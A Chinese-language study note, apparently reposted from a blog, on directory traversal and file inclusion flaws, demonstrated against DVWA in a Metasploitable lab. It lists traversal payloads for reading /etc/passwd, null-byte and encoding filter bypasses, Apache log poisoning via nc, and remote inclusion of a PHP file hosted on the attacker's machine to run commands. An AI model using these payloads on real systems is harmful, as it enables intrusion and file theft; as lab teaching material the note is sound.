Kali学习笔记31:目录遍历漏洞、文件包含漏洞
文章的格式也許不是很好看,也沒有什么合理的順序
完全是想到什么寫一些什么,但各個方面都涵蓋到了
能耐下心看的朋友歡迎一起學習,大牛和杠精們請繞道
?
目錄遍歷漏洞:
應用程序如果有操作文件的功能,限制不嚴格會導致可以訪問到WEB目錄意外的文件
目錄遍歷漏洞和文件包含漏洞本質以及利用方法一樣
一定要論區別的話:
目錄遍歷:對本操作系統的文件進行讀取
文件包含:1:LFI本地文件包含,和目錄遍歷一致;2:RFI遠程文件包含
漏洞原因:目錄權限限制不嚴格
?
漏洞利用示例:
啟動Metasploitable靶機:192.168.163.129
啟動Kali機器:192.168.163.132
?
在DVWA的這個目錄存在文件包含漏洞:本地文件包含
?
我們可以在Metasploitable中修改配置文件以開啟遠程文件包含漏洞:
sudo vi /etc/php5/cgi/php.ini
然后輸入/allow_url進行搜索:找到這里,修改成On
然后重啟Apache服務:
sudo /etc/init.d/apache2 restart
這時候Metasploitable就會存在遠程文件包含漏洞了
?
目錄遍歷漏洞的特征要注意:
?page=xxx.php
?home=xxx.html
?index=xxx.jsp
?file=content
?
常用漏洞驗證方式:
1:../../../../../../(多少個../都行,越多越好)/etc/passwd
?
URL上這一串東西的意義:../返回上級目錄,當返回到根目錄時候再../還是根目錄,然后直接進入linux系統的passwd文件
?
2.file:///etc/passwd(這里是文件包含漏洞,不過利用方法一致)
?
3.http://xxxxx
?
前兩者用途:可以讀取到目標系統的機密文件
遠程文件包含用途:可以構建一個帶有shellcode的網站,使目標訪問,進而得到shell(雖然是低權限shell)
?
注意事項:
1.有時候?page=../../../etc/passwd,顯示找不到passwd.php文件,這是目標系統開啟了過濾機制
繞過辦法:PHP5.3版本以前的,可以用一個空字符%00來解決,示例:
?page=../../../etc/passwd%00
這時候就算目標機器補上一個.php,也無所謂
?
2.有的服務器會過濾非法字符,比如/\$&.*等,我們可以采用一些編碼來處理
路徑方面,linux一定是/,windows通常是\,但有可能是/,實際中可以多次發送根據結果來得到答案
編碼方面:示例
URL編碼:
../? ? ?%2e%2e%2f
..\? ? ?%2e%2e%5c
..\? ? ?%252e%252e%255c (雙層URL編碼)
?
Unicode/UTF-8編碼:
../? ? ?..%c0%af? ? ?..%u2216? ??
..\? ? ?..%c1%9c
?
編碼工具:之前介紹的很多工具都有,我用Burp來舉例
?
可以用URL編碼后的字符做嘗試:成功
?
?
上邊說到本地文件包含來查看文件內容
通常認為本地文件包含漏洞無法執行代碼
萬事沒有絕對,有極其特殊的方式可以執行代碼
比如:利用訪問日志
當我們訪問一個WebServer例如Apache時候,就會有訪問日志
會記錄下來訪問IP和訪問的URL等一些簡單的信息
我們用nc連接到目標的80端口:發送一段這樣的東西
?
?
然后會在apache的日志中插入一段php代碼:然后對日志文件chmod,改為可執行權限
如果失敗了的話,多層chmod,使訪問目錄的所有層都賦予權限,然后利用文件包含,有機會執行代碼(不一定成功)
?
遠程文件包含示例:
我先用NC偵聽本地80端口:
?
遠程文件包含到Kali機器:這是輸入Kali的IP,至于URL隨便寫
?
然后一直顯示連接狀態
查看NC,發現收到了連接請求:
?
nc只是獲得了連接請求,實際沒用
下面展示實際使用方式
利用Kali本機的Apache服務
到/var/www/html目錄下,新建文本 1.txt,寫入上邊的php代碼(或者搞個木馬腳本都行,這里為了方便)
?
保存之后開啟Apache服務
?
然后測試:
?
?
成功執行了ls命令
到這一步就相當于拿到了shell
?
最后:
我們可以查看DVWA這里的遠程文件包含的源碼:
LOW級別:直接獲取文件名
<?php$file = $_GET['page']; //The page we wish to display ?>?
MEDIUM級別:過濾特殊字符,導致無法遠程文件包含
解決方法:編碼
比如http://192.168.163.132======>%68%74%74%70%3a%2f%2f192.168.163.132
如果失敗,就可以只針對http://中的某個字符,比如/進行編碼
如果還是失敗,可以進行一種巧妙的方法
非常經典的關鍵字繞過方法:
hthttp://tp://192.168.163.132
我在一個http://中插入了一個http://,服務器只會識別一次,如果兩個分開寫都會被過濾,穿插來寫,只會過濾一個
<?php$file = $_GET['page']; // The page we wish to display // Bad input validation$file = str_replace("http://", "", $file);$file = str_replace("https://", "", $file); ?>?
HIGH級別:規定寫死,只能包含include.php
這種方式基本無解了,沒有漏洞,或者我水平低下找不到漏洞
<?php$file = $_GET['page']; //The page we wish to display // Only allow include.phpif ( $file != "include.php" ) {echo "ERROR: File not found!";exit;}?>?
?
總結:
遠程文件包含漏洞出現概率遠遠小于本地文件包含漏洞
但是遠程文件包含漏洞更容易被利用
?
?
大學生,生活不易,如果有大佬愿意贊賞,在此多謝
轉載于:https://www.cnblogs.com/xuyiqing/p/9974461.html
總結
以上是生活随笔為你收集整理的Kali学习笔记31:目录遍历漏洞、文件包含漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 函数计算 Python 连接 SQL S
- 下一篇: 51nod 1011 最大公约数GCD